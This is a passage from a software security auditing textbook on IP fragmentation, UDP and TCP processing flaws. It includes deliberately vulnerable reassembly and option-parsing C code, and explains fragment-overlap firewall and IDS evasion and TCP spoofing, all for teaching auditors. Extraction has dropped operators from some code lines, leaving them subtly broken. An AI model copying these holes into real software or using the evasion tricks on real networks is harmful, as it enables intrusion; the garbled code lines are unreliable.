that have occurred in real-world applications in the past, consider this. Several years ago, a contumacious researcher working at NAI named Anthony Osborne discovered a vulnerability in the Windows IP stack related to an invalid source routing pointer. Windows hosts with multiple interfaces are normally configured to reject source routed packets. It turned out, however, that setting the pointer past the option allowed the source route to be processed. With a carefully crafted packet, an attacker could leverage multihomed Windows systems to participate in source routing attacks on firewalls. (Details of this bug are available at www.securityfocus.com/bid/646/info.) You will see in Chapter 15(? [????.]) that source routing is especially significant for attacking firewalls, primarily because source routed packets have one of their most basic attributes altered at each IP address in the option listthe destination address. Fragmentation As you have seen, IP datagrams can have a maximum size of 64KB. (The total length field is 16 bits, so the maximum size it can specify is 65535 bytes.) In practice, however, physical interfaces attached to routers and endpoints often impose much more limited size restrictions because they can send only fairly small frames across The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 862 the network. This size restriction is dictated by what type of physical interface is sending the frame. The consequence of physical interface size restrictions is that IP datagrams can be generated for transmissions that are too large to be sent across the physical network, or IP datagrams can arrive on one interface of a router that are too large to pass across to another interface. To help deal with this problem, the IP protocol allows fragmenting large datagrams into smaller pieces so that they can be sent across any medium, regardless of its maximum transmission unit (MTU). This mechanism is called IP fragmentation. Fragmenting an IP datagram involves dividing a large datagram into smaller chunks (fragments) that are suitable for transmission. Each fragment contains a payload that constitutes some portion of the original datagram, and all fragments are transmitted separately. They are then combined (reassembled) at the destination host to re-create the original datagram. In addition to the sending host fragmenting a datagram, any intermediate routing hop can fragment a datagram (or fragment a fragment of a datagram) to be able to send it on to the destination host. No intermediate hops perform reassembly, however; that task is left up to the destination host. Note Actually, arbitrary routers that IP packets are traversing are unable to perform reassembly because IP packets aren't required to arrive at a destination via the same route. Therefore, there's no guarantee that each fragment will pass through a certain router. The exception, of course, is when fragments arrive at the network the destination host is a part of, where it's quite common to have firewalls and IPSs or IDSs perform a virtual reassembly of the received fragments to ensure that someone isn't using fragmentation to try to sneak illegal traffic through the firewall. Basic IP Fragment Processing Fragmenting an IP packet is fairly straightforward. You split the data in a large IP packet into several smaller fragments. Each fragment is sent in a separate IP packet with its own IP header. This fragment looks the same as the original IP header, except for a few variables that tell the end host how to reassemble the fragment. The end host can tell which incoming fragments belong to the same original datagram because they all share the same IP ID (among other attributes). Specifically, each fragment for a datagram has the following fields in common: IP ID, source IP address, destination IP address, and IP protocol. A few fields are used to track how to put the fragments back together. First, if the MF ("more fragments") flag in the fragment offset field is set, the end host should expect more fragments to arrive for the datagram that have data beyond the end of the current fragment. To The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 863 put it another way, if a received fragment has data starting at offset 128 from the original datagram and finishing at offset 256 and the MF bit is set for the fragment, then another fragment should arrive containing data at an offset of 256 or higher. The last fragment doesn't have the MF flag set, which tells the end host the fragment represents the end of the original IP datagram. Each fragment sets the fragment offset field to indicate where in the reassembled datagram the data from this fragment should appear. The offset field is multiplied by 8 to find out where in the completed datagram this fragment's payload should appear. So if the offset field is set to 1, the payload should appear 8 bytes into the completed datagram when it's reassembled. If the offset field is 2, the payload appears 16 bytes into the completed datagram, and so on. Finally, the total length field in the IP header is changed to represent the fragment's length. The end host determines the real total length of the original datagram by waiting until it's seen all the fragments and pieced them all together. To better understand where fragmentation might be used, consider the case where a router needs to fragment an IP datagram to send it over one of the networks it's part of, because the datagram is larger than the outgoing interface's MTU. The datagram is 3,500 bytes and the outgoing interface's MTU is 1,500 bytes, so the maximum amount of data that can be transmitted in each packet is 1,480 bytes (because the IP header is a minimum of 20 bytes). This datagram is split up into four smaller IP fragments, and they are sent over the network separately, as shown in Figure 14-2. Figure 14-2. IP fragmentation [View full size image] If all the fragments arrive at the destination IP address, the end host reassembles them into the original datagram. If any fragment doesn't make it, the whole datagram is discarded, and the source host is free to try to send the datagram again. Pathological Fragment Sets The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 864 A normal set of fragments generally looks like Figure 14-2. All fragments except for the final one have the MF flag set. The IP offsets are laid out contiguously so that every value from 0 to the end of the final fragment is assigned data. A few subtle attacks can be performed against IP fragment reassembly code by deviating from the expected layout. The following sections describe these attacks. Data Beyond the End of the Final Fragment The final fragment of a datagram queue has a nonzero offset, and the MF bit is clear. This fragment is supposed to contain data located at the end of the datagram, so it should have the highest IP offset of all the fragments. Attackers could send fragments in an order that puts the final fragment in the middle or beginning of the set of fragments. If the reassembly code takes certain shortcuts in calculating the datagram's total length, this reordering can lead to incomplete sets of fragments being reassembled in ways advantageous to the attackers. Consider the following reassembly code: /* Add a fragment to the queue Returns: 0: added successfully, queue incomplete 1: added successfully, queue complete */ int fragment_add(struct fragment_chain *chain, struct packet *pkt) { struct iphdr *iph = pkt->ip_header; int offset, end, length; offset = ntohs(iph->frag_offset) * 8; end = offset + ntohs(iph->tot_len) iph->hl << 2; length = add_to_chain(chain, pkt->data, offset, end); chain->datalength += length; if(!(iph->flags & IP_MF)) /* Final Fragment MF bit clear */ return chain->datalength == end; return 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 865 For this example, assume that the add_to_chain() function returns the amount of data that was added to the queue, not including overlapped sections (discussed in "Overlapping Fragments" later in this chapter). When a final fragment is received, its end (offset + length) is compared with the total amount of bytes received for the datagram. If the final fragment is received last, these numbers should be equal, and the reassembly code knows it has completed reassembly of this datagram. To see how this code is intended to function, look at this valid normal set of fragments. Say you send this fragment first: Offset: 0 | MF: Set | Len: 16 The data is added to the chain, and chain->datalength is incremented to 16. MF is set, indicating more fragments, so the function returns 0 to indicate that reassembly isn't finished. Say you send this fragment next: Offset: 16 | MF: Set | Len: 16 This data is added to the chain, and chain->datalength is incremented to 16. Again, reassembly isn't complete because there are more fragments to come. Now say you send the final fragment: Offset: 32 | MF: Clear | Len: 16 When the preceding code processes this fragment, it calculates an offset of 32, an end of 48, and a length of 16. chain->datalength is incremented to 48, which is equal to end. It's the final fragment because IP_MF is clear, and chain-> datalength is equal to end. The IP stack knows it has finished reassembly, so it returns a 1. Figure 14-3 shows the set of fragments. Figure 14-3. IP fragmentation reassembly Now walk through a malicious set of fragments. This is the first fragment: Offset: 32 | MF: Set | Len: 16 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 866 The data is added to the chain, and chain->datalength is incremented to 16. MF is set, indicating there are more fragments. Next, the final fragment is sent but placed before the first fragment: Offset: 16 | MF: Clear | Len: 16 The data is added to the chain, and chain->datalength is incremented to 32. MF is clear, indicating it's the last fragment, and end is 32, which is equivalent to chain->datalength. Therefore, the IP stack believes that reassembly is complete, even though no data for offsets 0 to 16 has been sent in the set of fragments. The malicious set of fragments looks like Figure 14-4. Figure 14-4. Malicious IP fragments The result of this reassembly depends on the implementation of the rest of the IP stack. Some consequences could include the following:  Including uninitialized kernel memory in the reassembled packet  Interpreting protocol headers incorrectly (because the fragment containing the next protocol header is missing)  Integer miscalculations based on attributes of the fragments that lead to memory corruption or reading uninitialized kernel memory Most important, any firewall or IDS/IPS this fragment chain traversed would interpret the fragments completely differently and make incorrect decisions about whether to allow or deny it (unless these devices had the same bug). Multiple Final Fragments Another mistake fragmentation reassembly applications make is that they don't deal with multiple final fragments correctly. Applications often assume that only one fragment of a fragment queue appears with the MF bit clear. This assumption can lead to broken logic for deciding when a fragment queue is complete and can be passed up to the next layer (usually TCP or UDP). Usually, the result of a bug like this is a fragment queue being deemed complete when it has gaps from the datagram that still haven't arrived. The advantage this type of bug gives an attacker depends on the application. For OS protocol stacks, being able to assemble a datagram with holes in The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 867 it is quite useful to attackers because any firewall or IDS performing virtual reassembly interprets the datagram differently to the end host. For example, an IP datagram containing a TCP segment is fragmented and sent to a host through a firewall. Imagine that a bug exists whereby it can be marked as being complete when it's missing data at offset 0 (the beginning of the TCP header). With this knowledge, attackers could send fragments that exploit the bug as well as a trailing bogus fragment at offset 0. This bogus fragment which can be set with different TCP ports to pass a firewall's rule set. Because the firewall in front of the end host evaluates whether the fragment set is allowed based on the 0-offset fragment, it will make a policy decision based on the one part of the fragment queue that the destination host is going to completely ignore. As a resut, an unauthorized connection or block of data could be sent through the firewall. If the application containing a reassembly bug is a firewall or other security product instead of a host OS IP stack, the implications can be much worse, as this bug allows attackers to bypass firewall rules to reach any destination host that the firewall is supposed to protect (depending on the constraints of the vulnerability). Overlapping Fragments As you know, each IP fragment provides a portion of a complete datagram, but how to handle overlapping fragments hasn't been mentioned yet. The IP specification vaguely says that fragments can contain overlapping data ranges, which in retrospect, was probably a bad move. Figure 14-5 shows an example of overlapping fragments. Figure 14-5. Overlapping fragments [View full size image] So are overlapping fragments a potential security issue? Absolutely! They add a degree of complexity to the requirements that might not seem important at first, but they have actually led to dozens of security vulnerabilities. Two main problems come into play when dealing with overlapping fragments, which are: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 868  Implementation flaws in fragment queue maintenance, leading to crashes or potentially memory corruption  Ambiguity about which data should be honored As discussed in Chapter 7(? [????.]), "Program Building Blocks," a lot of simple errors based on managing lists are quite relevant to IP fragmentation because lists are used in nearly all IP implementations to track fragments for a datagram. In Chapter 7(? [????.]), you saw a famous example of a vulnerability (dubbed "teardrop") that existed in a number of host IP stacks. The basis of this vulnerability was a logic error in which two fragments are sent. The first provides some arbitrary part of the datagram, and the second provides data at the same offset as the first (or at some offset partway through the data that was provided in the first one), but finishing before the end of the first one (that is, the second datagram was completely encompassed by the first). This error leads to a size calculation error that results in attempting to access memory out of bounds. The IP RFC (RFC 791) isn't much help in understanding how to deal with data overlaps. It gives a sample algorithm for handling reassembly and indicates that if two or more overlapping fragments contain the same data, the algorithm uses the "more recently arrived data." However, it doesn't specify which data an IP stack should favor: data received in the original fragment or data supplied in successive fragments. So software vendors have implemented the algorithm in different ways. Consequently, if a firewall or IDS/IPS interprets the data stream differently from the destination host, this difference opens the potential to sneak data past a security device that should detect or block it. This is especially critical when the data being overlapped includes protocol headers because they might affect whether a packet filter or firewall decides to block or forward the packet. To help you understand this problem, here's a quick outline of the key differences in major fragmentation implementations. Figure 14-6 shows a nuance of the BSD reassembly code. Figure 14-6. BSD overlap semantics [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 869 Table 14-1 shows the results of reassembling the packet set in Figure 14-6. Table 14-1. BSD Overlap Semantics Result OS Result BSD GET /cgi-bin/phf Linux GET XXXXXXXXXXXXXXXX Windows GET /cgi-binXXXXXXXXXXXX Solaris GET /cgi-binXXXXXXXXXXXX BSD ostensibly honors data it receives first, but this isn't what happens in practice. When BSD receives a new fragment, it left-trims the beginning of the fragment to honor previously received data, but after doing that, it accepts all the data from the new fragment. Windows and Solaris appear to honor the chronologically first data properly, but this isn't quite what occurs behind the scenes. Linux behaves similarly to BSD, but it honors a new fragment in favor of an old one if the new fragment has the same offset as the old one. Figure 14-7 shows a set of packets that isolate the Linux behavior. Figure 14-7. Linux overlap semantics [View full size image] Table 14-2 shows the results of the Linux reassembly code. It performs similarly to BSD reassembly algorithms, except it honors the data in a new fragment at the same offset as a previously received one. Table 14-2. Linux Overlap Semantics Result OS Result BSD GET XXXXXXXXXXXXXXXX The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 870 Table 14-2. Linux Overlap Semantics Result OS Result Linux GET /cgi-bin/phf Windows GET XXXXXXXXXXXXXXXX Solaris GET XXXXXXXXXXXXXXXX Figure 14-8 shows one more test case that isolates Windows behavior. Figure 14-8. Windows overlap semantics [View full size image] Table 14-3 shows that most implementations actually discard a fragment that's completely subsumed by a following fragment because they attempt to preserve old data by adjusting the beginning and end of fragments as they come in. As you can see, because there's some variation in reassembly algorithms, any device doing virtual reassembly interprets overlapped data segments the same way as a destination host in some situations but not in others. Table 14-3. Windows Overlap Semantics Result OS Result BSD GET XXXXXXXX/phf HTTP/1.0 Linux GET XXXXXXXX/phf HTTP/1.0 Windows GET /cgi-bin/phf HTTP/1.0 Solaris GET /cgi-binXXXXXXXXP/1.0 Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 871 You might think that because of this discrepancy, devices doing reassembly for security analysis are guaranteed to not work correctly when dealing with different kinds of hosts, but this isn't necessarily the case. Some implementations emulate the protocol stack of the OS for which they're reassembling traffic. Others might authoritatively rewrite packets into an unambiguous set of fragments or simply reassemble the datagram. Others might reject fragment queues containing any sort of overlap, which is usually a sign of foul play. This is exactly what Checkpoint Firewall-1's virtual reassembly layer does. Idiosyncrasies There are many subtle differences in how implementations handle the corner cases of fragmentation reassembly. For example, some hosts require every fragment except the last to be a multiple of 8 bytes. Some hosts accept 0-length fragments and queue them, and some don't. You've seen that hosts handle overlapping of fragmentation in different ways, and you could come up with creative test cases that just about every implementation reassembles slightly differently. Another big point of variation is the choice of timeouts and the design of data structures necessary to temporarily hold on to fragments until they are collected and ready to be reassembled. These small differences add up to potential vulnerabilities when there's a security device between the attacker and the end host. Say you have an IDS watching the network for signs of attack. An attacker could send a strange set of fragments that the IDS sees as innocuous, but the end host reassembles them into a real attack. As you discover in Chapter 15(? [????.]), the same kind of ambiguity can come into play when attacking firewalls, although the attacks are less straightforward. 8.1.3 User Datagram Protocol User Datagram Protocol (UDP) is a connectionless transport-layer protocol that rests on top of IP. As you can probably tell from the header shown in Figure 14-9, it's intended to be a lightweight protocol. It adds the abstraction of ports, which allows multiple clients and servers to multiplex data using the same client-server IP address pair, and adds optional checksums for UDP data to verify that a packet hasn't been corrupted en route. Beyond that, it provides none of the services that TCP does, such as flow control and reliable delivery. UDP is typically used for protocols that require low latency but can tolerate losses. The most popular use of UDP is for Domain Name System (DNS), which provides name resolution for the Internet. Figure 14-9. UDP header The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 872 The following list describes the header fields in a UDP packet:  Source port (16 bits) This field is the client source port. The source port, destination port, source IP address, and destination IP address combine to uniquely identify a connection. Note UDP is really a connectionless protocol and each UDP record is unassociated from any other previously sent records at the transport layer. However, many IP processing applications (such as firewalls) need to associate UDP packets with each other in order to make accurate policy decisions.  Destination port (16 bits) This field is the port the packet is destined for. It's combined with the source port, source IP address, and destination IP address to uniquely identify a connection.  Checksum (16 bits) This field is a checksum of the UDP header and all data contained in the UDP datagram. Several other fields are combined to calculate the checksum, including the source and destination IP addresses from the IP header. This field can optionally be set to the special value 0 to indicate that a checksum hasn't been calculated.  Length (16 bits) This field is the length of the UDP header and data. Basic UDP Header Validation The UDP header is fairly straightforward, but there's still room for processing code to misstep, as described in the following sections. Is the UDP Length Field Correct? The length field specifies the length of the UDP header and the data in the datagram. You've seen situations in which processing code ignores this field and instead honors lengths coming from the IP header or device driver. If the length field is too large, it could lead to numeric overflow or underflow situations. Likewise, the minimum value for the UDP length field is 8 bytes. If the field is below 8 bytes and it's honored, a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 873 numeric underflow situation could occur. A length of 8 bytes means there's no UDP data in the packet. Is the UDP Checksum Correct? The UDP checksum is optional. If it's set to zero, the checksum is not calculated. However, if it's set and the checksum is incorrect, end hosts likely disregard the packet. Any system attempting to interpret UDP packets should be aware of these possible outcomes. UDP Issues UDP can be spoofed easily, unlike TCP, where establishing a connection with a forged source IP address is much harder. UDP data can also be sent over broadcast and multicast addresses that aren't appropriate for TCP data. The bottom line is that sensitive code shouldn't rely on source IP addresses for purposes of authentication with UDP. Firewalls and packet filters can find UDP particularly troublesome for this reason. 8.1.4 Transmission Control Protocol Transmission Control Protocol (TCP) is a transport-layer protocol that sits on top of IP. It's a mechanism for ensuring reliable and accurate delivery of data from one host to the other, based on the concept of connections. A connection is a bidirectional communication channel between an application on one host and an application on another host. Connections are established and closed by exchanging special TCP packets. The endpoints see the TCP data traversing the connection as streams: ordered sequences of contiguous 8-bit bytes of data. The TCP stack is responsible for breaking this data up into packet-sized pieces, known as segments. It's also responsible for making sure the data is transferred successfully. The data sent by a TCP endpoint is acknowledged when it's received. If a TCP endpoint doesn't receive an acknowledgement for a chunk of data, it retransmits that data after a certain time interval. TCP endpoints keep a sliding window of expected data, so they temporarily store segments that aren't the immediate next piece of data but closely follow the expected segment. This window allows TCP to handle out-of-order data segments and handle lost or corrupted segments more efficiently. TCP also uses checksums to ensure data integrity. Auditing TCP code can be a daunting task, as the internals of TCP are quite complex. This section starts with the basic structure of TCP packet headers and the general The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 874 design of the protocol, and then gives you a few examples that should illustrate where things can go wrong. The TCP header structure is shown in Figure 14-10. Figure 14-10. TCP header The following list describes the fields in more detail:  Source port (16 bits) This field indicates the TCP source port. It is used in conjunction with the destination port, source IP address, and destination IP address to uniquely identify a connection.  Destination port (16 bits) This field is the port the packet is destined for. This field combined with the source port, source IP address, and destination IP address to uniquely identify a connection.  Sequence number (32 bits) This field identifies where in the stream the data in this packet belongs, starting at the first byte in the segment. The sequence number is randomly seeded during connection establishment, and then incremented by the amount of data sent in each packet.  Acknowledgement number (32 bits) This field contains the sequence number the endpoint expects to receive from its peer. It's the sequence number of the last byte of data received from the remote host plus one. It indicates to the remote peer which data has been received successfully so that data lost en route is noticed and retransmitted.  Data offset (4 bits) This field indicates the size of the TCP header. Like IP, a TCP header can contain a series of options after the basic header, and so a similar header size field exists within the TCP header to account for these options. Its value is 5 if there are no options specified.  Reserved (4 bits) This field is not used.  Flags (8 bits) Several flags can be set in TCP connections to indicate information about the TCP packet: whether it's high priority, whether to ignore certain fields in the TCP header, and whether the sender wants to change the connection state. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 875  Window (16 bits) This field indicates the size of the window, which is an indicator of how many bytes the host accepts from its peer. It's resized dynamically as the buffer fills up and empties and is used for flow control. This size is specific to the connection that the TCP packet is associated with.  Checksum (16 bits) This field is a checksum of the TCP header and all data contained in the TCP segment. Several other fields are combined to calculate the checksum, including the source and destination IP addresses from the IP header.  Urgent pointer (16 bits) This field is used to indicate the location of urgent data, if any (discussed in "URG Pointer Processing"). Interested readers should familiarize themselves with TCP by reading the RFC 793, as well as Stevens's discussion on TCP in TCP/IP Illustrated, Volume 1 (Addison-Wesley, 1994(? [????.])). Basic TCP Header Validation Naturally, every field in the TCP header has properties that have some relevance in terms of security. To start, a few basic attributes of the TCP packet, explained in the following sections, should be verified before the packet is processed further. Failure to do so adequately can lead to serious security consequences, with problems ranging from memory corruption to security policy violation. Is the TCP Data Offset Field Too Large? The TCP header contains a field indicating its length, which is known as the data offset field. As with IP header validation, this field has an invariant relationship with the packet size: TCP header length <= data available 20 <= TCP header length <= The TCP processing code must ensure that there's enough data in the packet to hold the header. Failure to do so could result in processing uninitialized memory and potentially even integer-related vulnerabilities, when calculations such as this are performed: data_size = packet_size tcp_header_size; If the tcp_header_size variable hasn't been validated sufficiently, underflowing the data_size variable might be possible. This will invariably result in out-of-bounds The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 876 memory accesses or possibly even memory corruption later during processing, most likely when validating the checksum or dealing with TCP options. Is the TCP Header Length Too Small? The minimum size of a TCP header is 20 bytes, making certain values for the TCP data offset field too small. As with IP headers, if code analyzing TCP packets fails to ensure that the header length is at least 5 (again, it's multiplied by four to get the header's actual size in bytes), length calculations can result in integer underflows. Is the TCP Checksum Correct? The TCP stack must verify the checksum in the TCP header to ensure that the packet is valid. This check is particularly important for software that monitors network traffic. If an application is trying to determine how TCP packets are processed on an end host, it must be sure validate the checksum. If it fails to do so, it can easily be desynchronized in its processing and become hopelessly confused. This is a classic technique for evading IDSs. TCP Options Processing TCP packets can contain a variable number of options after the basic header, just like IP packets. However, IP options are rarely used in practice, whereas TCP options are used extensively. TCP options are structured similarly to IP options; they are composed of an option byte, a length byte, and a variable-length data field. The structure is as follows: struct tcp_option { unsigned char option; unsigned char optlen; char data[0]; }; When auditing code that processes TCP options, you can look for the same types of problems you did for IP options. The following sections briefly recap the potential issues from the discussion of IP options processing: Is the Option Length Field Sign Extended? Sign extension of the option length byte can be dangerous and lead to memory corruption or neverending process loops. For example, two Polish researchers named Adam Osuchowski and Tomasz Dubinski discovered a signed vulnerability in processing TCP options was present in the 2.6 Netfilter implementation of the iptables TCP option matching rule in the Linux 2.6 kernel (documented at The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 877 www.netfilter.org/security/2004-06-30-2.6-tcpoption.html). The following is an excerpt of that code: char opt[60 - sizeof(struct tcphdr)]; ... for (i = 0; i < optlen; ) { if (opt[i] == option) return !invert; if (opt[i] < 2) i++; else i += opt[i+1]?:1; } An integer promotion occurs when adding the option length (which is of type char) to the integer i. The option length is sign-extended, and a negative length decrements i rather than incrementing it in each iteration of the loop. A specially crafted packet can, therefore, cause this loop to continue executing indefinitely (incrementing i by a certain amount of bytes and then decrementing it by the same amount of bytes). Are Enough Bytes Left for the Current Option? As with IP options, certain TCP options are fixed length, and certain options are variable length. One potential attack is specifying a fixed-length option near the end of the option space so that the TCP/IP stack erroneously reads kernel memory past the end of the packet contents. Is the Option Length Too Large or Too Small? The option length has an invariant relationship with the size of the TCP header and the total size of the packet. The TCP stack must ensure that the option length, when added to the offset into the header where the option appears, isn't larger than the total size of the TCP header (and, of course, the total size of the packet). TCP Connections Before two hosts can communicate over TCP, they must establish a connection. TCP connections are uniquely defined by source IP address, destination IP address, TCP source port, and TCP destination port. For example, a connection from a Web browser on your desktop to Slashdot's Web server would have a source IP of something like 24.1.20.30, and a high, ephemeral source port such as 46023. It would have a destination IP address of 66.35.250.151, and a destination port of 80 the well-known port for HTTP. There can only be one TCP connection with those ports and IP addresses at any one time. If you connected to the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 878 same Web server with another browser simultaneously, the second connection would be distinguished from the first by having a different source port. States Each endpoint maintains several pieces of information about each connection it's tracking, which it stores in a data structure known as the transmission control block (TCB). One of the most important pieces of information is the overall connection state. A TCP connection has 11 possible states:  LISTEN When a process running on an end host wants to receive incoming TCP connections, it creates a new connection and binds it to a particular port. While the server waits for incoming TCP connections, that connection is in the LISTEN state.  SYN_SENT A client enters this state when it has sent an initial SYN packet to a server requesting a connection.  SYN_RCVD A server enters this state when it has received an initial SYN packet from a client wanting to connect.  ESTABLISHED Clients and servers both enter this state after the initial TCP handshake has been completed and remain in this state until the connection is torn down.  FIN_WAIT_1 A host enters this state if it's in an ESTABLISHED state and closes its side of the connection by sending a FIN packet.  FIN_WAIT_2 A host enters this state if it's in FIN_WAIT_1 and receives an ACK packet from the participating server but not a FIN packet.  CLOSING A host enters this state if it's in FIN_WAIT_1 and receives a FIN packet from the participating host.  TIME_WAIT A host enters this state if it's in FIN_WAIT_2 when it receives a FIN packet from the participating host or receives an ACK packet when it's in CLOSING state.  CLOSE_WAIT A host enters this state if it's in ESTABLISHED state and receives a FIN packet from the participating host.  LAST_ACK A host enters this state if it's in CLOSE_WAIT state after it has sent a FIN packet to the participating host.  CLOSED A host enters this state if it's in LAST_ACK state and receives an ACK, or after a timeout occurs when a host is in TIME_WAIT state (that timeout period is defined as the maximum segment life of a TCP packet multiplied by two). This state is a theoretical one; when a host enters CLOSED state, an implementation cleans up the connection and removes it from the active connection structures it maintains. These states are explained in more detail in RFC 793 (www.ietf.org/rfc/rfc0793.txt?number=). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 879 State transitions generally occur when TCP packets are received that have certain flags set or when the local application dealing with the connection forces a change (such as closing the connection). If the application layer initiates a state change, the TCP/IP stack typically notifies the other endpoint of the state change. Flags Six TCP flags are used to convey information from one host to the other:  SYN The synchronize flag is used exclusively for connection establishment. Both sides of a connection must have this flag set in the initial packet of a TCP connection.  ACK The acknowledge flag indicates that this packet is acknowledging it has received some data from the other host participating in the connection. If this flag is set, the acknowledgement number in the TCP header is significant and needs to be verified or processed.  RST The reset flag indicates some sort of unrecoverable problem has occurred in a connection, and the connection should be abandoned.  URG The urgent flag indicates urgent data to be processed (discussed in more detail in "URG Pointer Processing" later in this chapter).  FIN The FIN flag indicates that the issuer wants to close the connection.  PSH The push flag indicates that data in this packet is high-priority and should be delivered to the application as quickly as possible. This flag is largely ignored in modern implementations. Of the six flags, three are used to cause state changes (SYN, RST, and FIN) and appear only when establishing or tearing down a connection. (RST can occur at any time, but the result is an immediate termination of the connection.) Establishing a Connection Establishing a connection is a three-part process, commonly referred to as the three-way handshake. An integral part of the three-way handshake is exchanging initial sequence numbers, covered in "TCP Spoofing" later in this chapter. For now, just focus on the state transitions. Table 14-4 describes the process of setting up a connection and summarizes the states the connection goes through. Table 14-4. Connection Establishment Action Client State Server State The server listens on a port for a new connection. N/A LISTEN The client sends a SYN packet to the server's open port. SYN_SENT LISTEN The server receives the packet and enters the SYN_RCVD SYN_SENT SYN_RCVD The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 880 Table 14-4. Connection Establishment Action Client State Server State state. The server transmits a SYN-ACK packet, acknowledging the client's SYN and providing a SYN of its own. SYN_SENT SYN_RCVD The client receives the SYN-ACK and transmits an ACK packet, acknowledging the server's SYN. ESTABLISHED SYN_RCVD The server receives the ACK packet, and the connection is fully established. ESTABLISHED ESTABLISHED Closing a Connection Connections are bidirectional, and either direction of traffic can be shut down independently. Normally, connections are shut down by the exchange of FIN packets. Table 14-5 describes the process. Table 14-5. Connection Close Action Client State Server State The client sends a FIN-ACK packet, indicating it wants to close its half of the connection. The client enters the FIN_WAIT_1 state. FIN_WAIT_1 ESTABLISHED The server receives the packet and acknowledges it. FIN_WAIT_1 CLOSE_WAIT The client receives the acknowledgement of its FIN. FIN_WAIT_2 CLOSE_WAIT The server now elects to close its side of the connection and sends a FIN packet. FIN_WAIT_2 LAST_ACK The client receives the server's FIN and acknowledges it. TIME_WAIT LAST_ACK The server receives the acknowledgement. TIME_WAIT CLOSED The client tears down the TCB after waiting enough time for the server to receive the acknowledgement. CLOSED N/A Note that connection termination isn't always this straightforward. If one host sends a packet with the FIN flag set, it's indicating a termination of the sending channel of the established TCP stream, but the hosts receiving channel remains open. Upon The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 881 receipt of a FIN, a host can send more data across the connection before sending a FIN packet of its own. Resetting a Connection Resetting a connection occurs when some sort of unrecoverable error has occurred during the course of connection establishment or data exchange. Resetting the connection simply involves a host sending a packet with the RST flag set. RSTs are used mainly in these situations:  Someone sends a SYN to establish a connection with a server, but the server port isn't open (that is, no server is listening on the specified port).  A TCP packet arrives at a host without the SYN flag set, and no valid connection can be found to deliver this packet to. TCP Streams TCP is a stream-oriented protocol, meaning that data is treated as an uninterrupted stream (as opposed to a record-based protocol, such as UDP). Streams are tracked internally by using sequence numbers, with each sequence number corresponding to one byte of data. The TCP header has two sequence number fields: sequence number and acknowledgement number. The sequence number indicates where in the data stream the data in the packet belongs. The acknowledgement number indicates how much of the remote stream has been received successfully and accounted for. This field is updated every time the host sees new data from the remote host. If some data is lost during transmission, the acknowledgement number isn't updated. Eventually, the peer notices it hasn't received an acknowledgement on the data it sent and retransmits the missing data. Each TCP endpoint maintains a sliding window, which determines which sequence numbers it allows from its peer. This window mechanism allows data to be saved when it's delivered out of order or if certain segments are corrupted or dropped. It also determines how much data the host accepts before having a chance to pass the data up to the application layer. For example, say a host is expecting the next sequence number to be 0x10000. If the host has a window of 0x1000, it accepts segments between 0x10000 and 0x11000. "Future" data is saved and used as soon as holes are filled when the missing data is received. Both sequence numbers are seeded randomly at the beginning of a new connection and then exchanged in the three-way handshake. The starting sequence number is called the initial sequence number (ISN). Here's a brief example of a three-way handshake and a simple data exchange. First, the client picks a random initial sequence number and sends it to the server. Figure 14-11 shows that the client has picked 0xabcd. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 882 Figure 14-11. Transmit 1 The server also picks a random initial sequence number, 0x4567, which it sets in the SYN-ACK packet. The SYN-ACK packet acknowledges the ISN sent by the client by setting 0xabce in the acknowledgment number field. If you recall, that field indicates the sequence number of the next expected byte of data. SYN and SYN-ACK packets consume one sequence number, so the next data you're expecting to receive should begin at sequence number 0xabce (see Figure 14-12). Figure 14-12. Receive 1 The client completes the handshake by acknowledging the server's ISN. Note that the sequence number has been incremented by one to 0xabce because the SYN packet consumed the sequence number 0xabcd. Likewise, the client in this connection indicates that the next sequence number it expects to receive from the server is 0x4568 because 0x4567 was used by the SYN-ACK packet (see Figure 14-13). Figure 14-13. Transmit 2 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 883 Now the client wants to send two bytes of data, the characters HI. The sequence number is the same, as the client hasn't sent any data yet. The acknowledgement number is also the same because no data has been received yet (see Figure 14-14). Figure 14-14. Transmit 3 The server wants to acknowledge receipt of the data and transmit two bytes of data: the characters OK. So the sequence number for the server is 0x4568, as you expect, and the acknowledgement number is now set to 0xabd0. This number is used because sequence number 0xabce is the character H and sequence number 0xabcf is the character I (see Figure 14-15). Figure 14-15. Receive 2 The client doesn't have any new data to send, but it wants to acknowledge receipt of the OK data (see Figure 14-16). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 884 Figure 14-16. Transmit 3 TCP Spoofing Sending TCP packets with arbitrary source addresses and content is fairly straightforwardtypically only a few lines of C code with a library such as libdnet or libnet. There are a few reasons attackers would want to send these type of TCP packets:  Attackers might want to fabricate a new connection purporting to be from one host to another. Plenty of software has access control policies based on the source IP address. The canonical example is something like rsh, which can be configured to honor trust relationships between hosts based on the source IP address.  If attackers know about a connection that's underway, they might want to insert data into that connection. For example, they could insert malicious shell commands into a victim's TELNET session after the victim has logged in. Another attack is modifying a file as a user downloads it to insert Trojan code.  Attackers might want to terminate an ongoing connection, which can be useful in attacking distributed systems and performing various denial-of-service attacks. TCP's main line of defense against these attacks is verifying sequence numbers of incoming packets. The following sections examine these attacks in more detail and how sequence numbers come into play in each scenario. Connection Fabrication Say you want to spoof an entire TCP connection from one host to another. You know there's a trust relationship between two servers running the remote shell service. If you can spoof a rsh connection from one server to the other, you can issue commands and take over the target 